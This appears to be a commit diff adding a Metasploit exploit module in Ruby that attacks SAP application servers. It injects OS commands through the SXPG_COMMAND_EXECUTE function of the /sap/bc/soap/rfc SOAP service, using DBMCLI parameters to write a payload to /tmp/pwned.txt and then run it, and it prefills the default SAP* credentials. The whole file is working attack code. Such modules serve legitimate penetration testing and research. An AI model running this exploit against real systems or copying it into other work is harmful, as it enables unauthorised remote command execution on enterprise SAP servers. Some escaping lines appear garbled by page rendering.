1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ ##
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
+ # http://www.onapsis.com/research-free-solutions.php.
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
+ # in producing the Metasploit modules and was happy to share his knowledge and
14
+ # experience - a very cool guy.
15
+ #
16
+ # The following guys from ERP-SCAN deserve credit for their contributions -
17
+ # Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18
+ # Dmitry Evdokimov.
19
+ #
20
+ # I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21
+ # who have Beta tested the modules and provided excellent feedback. Some people
22
+ # just seem to enjoy hacking SAP :)
23
+ ##
24
+
25
+ require 'msf/core'
26
+
27
+ class Metasploit3 < Msf ::Exploit ::Remote
28
+ Rank = ExcellentRanking
29
+ include Msf ::Exploit ::Remote ::HttpClient
30
+
31
+ def initialize
32
+ super (
33
+ 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection' ,
34
+ 'Description' => %q{
35
+ This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
36
+ use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
37
+ SAP Note: 1341333 and 1764994.
38
+ } ,
39
+ 'References' =>
40
+ [
41
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ] ,
42
+ [ 'URL' , 'https://service.sap.com/sap/support/notes/1764994' ] ,
43
+ [ 'URL' , 'https://service.sap.com/sap/support/notes/1341333' ]
44
+ ] ,
45
+ 'DisclosureDate' => 'May 8 2012' ,
46
+ 'Arch' => ARCH_CMD ,
47
+ 'Compat' =>
48
+ {
49
+ 'PayloadType' => 'cmd'
50
+ } ,
51
+ 'Platform' => [ 'unix' , 'linux' ] ,
52
+ 'Targets' =>
53
+ [
54
+ [ 'SAP AS on Linux' , { } ]
55
+ ] ,
56
+ 'DefaultTarget' => 0 ,
57
+ 'Privileged' => true ,
58
+ 'Author' =>
59
+ [
60
+ 'nmonkee'
61
+ ] ,
62
+ 'License' => MSF_LICENSE
63
+ )
64
+ register_options (
65
+ [
66
+ Opt ::RPORT ( 8000 ) ,
67
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
68
+ OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
69
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
70
+ OptEnum . new ( 'OS' , [ true , 'Target OS' , "linux" , [ 'linux' ] ] ) ,
71
+ ] , self . class )
72
+ end
73
+
74
+ def exploit
75
+ ip = rhost
76
+ payload_ = create_payload ( 1 )
77
+ exec_command ( ip , payload_ )
78
+ payload_ = create_payload ( 2 )
79
+ exec_command ( ip , payload_ )
80
+ end
81
+
82
+ def create_payload ( num )
83
+ command = ""
84
+ if datastore [ 'OS' ] . downcase == "linux"
85
+ if num == 1
86
+ command = "-o /tmp/pwned.txt -n pwnie" + "\n !"
87
+ tmp_ = payload . encoded . gsub ( " " , "\t " )
88
+ tmp__ = tmp_ . gsub ( "&" , "&" )
89
+ command << tmp__ . gsub ( "<" , "<" )
90
+ command << "\n "
91
+ end
92
+ command = "-ic /tmp/pwned.txt" if num == 2
93
+ end
94
+ data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r \n "
95
+ data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r \n "
96
+ data << '<env:Body>' + "\r \n "
97
+ data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r \n "
98
+ data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r \n "
99
+ data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r \n "
100
+ data << '<OPERATINGSYSTEM>ANYOS</OPERATINGSYSTEM>' + "\r \n "
101
+ data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r \n "
102
+ data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r \n "
103
+ data << '</env:Body>' + "\r \n "
104
+ data << '</env:Envelope>' + "\r \n "
105
+ return data
106
+ end
107
+
108
+ def exec_command ( ip , data )
109
+ user_pass = Rex ::Text . encode_base64 ( datastore [ 'USERNAME' ] + ":" + datastore [ 'PASSWORD' ] )
110
+ print_status ( "[SAP] #{ ip } :#{ rport } - sending SOAP SXPG_COMMAND_EXECUTE request" )
111
+ begin
112
+ res = send_request_raw (
113
+ {
114
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
115
+ 'method' => 'POST' ,
116
+ 'data' => data ,
117
+ 'headers' => {
118
+ 'Content-Length' => data . size . to_s ,
119
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
120
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
121
+ 'Authorization' => 'Basic ' + user_pass ,
122
+ 'Content-Type' => 'text/xml; charset=UTF-8'
123
+ }
124
+ } , 45 )
125
+ if res
126
+ if res . code != 500 and res . code != 200
127
+ print_error ( "[SAP] #{ ip } :#{ rport } - something went wrong!" )
128
+ return
129
+ elsif res . body =~ /faultstring/
130
+ error = res . body . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
131
+ 0 . upto ( error . length -1 ) do |i |
132
+ print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
133
+ end
134
+ return
135
+ end
136
+ output = res . body . scan ( %r{<MESSAGE>([^<]+)</MESSAGE>} ) . flatten
137
+ result = [ ]
138
+ 0 . upto ( output . length -1 ) do |i |
139
+ if output [ i ] =~ /E[rR][rR]/ || output [ i ] =~ /---/ || output [ i ] =~ /for database \( /
140
+ #nothing
141
+ elsif output [ i ] =~ /unknown host/ || output [ i ] =~ /; \( see/ || output [ i ] =~ /returned with/
142
+ #nothing
143
+ elsif output [ i ] =~ /External program terminated with exit code/
144
+ #nothing
145
+ else
146
+ temp = output [ i ] . to_s . gsub ( ">" , ">" )
147
+ temp_ = temp . gsub ( """ , "\" " )
148
+ temp__ = temp_ . gsub ( "'" , "'" )
149
+ result << temp__ + "\n "
150
+ end
151
+ end
152
+ return
153
+ else
154
+ print_error ( "[SAP] #{ ip } :#{ rport } - no response" )
155
+ end
156
+ rescue ::Rex ::ConnectionError
157
+ print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
158
+ return
159
+ end
160
+ end
161
+ end
0 commit comments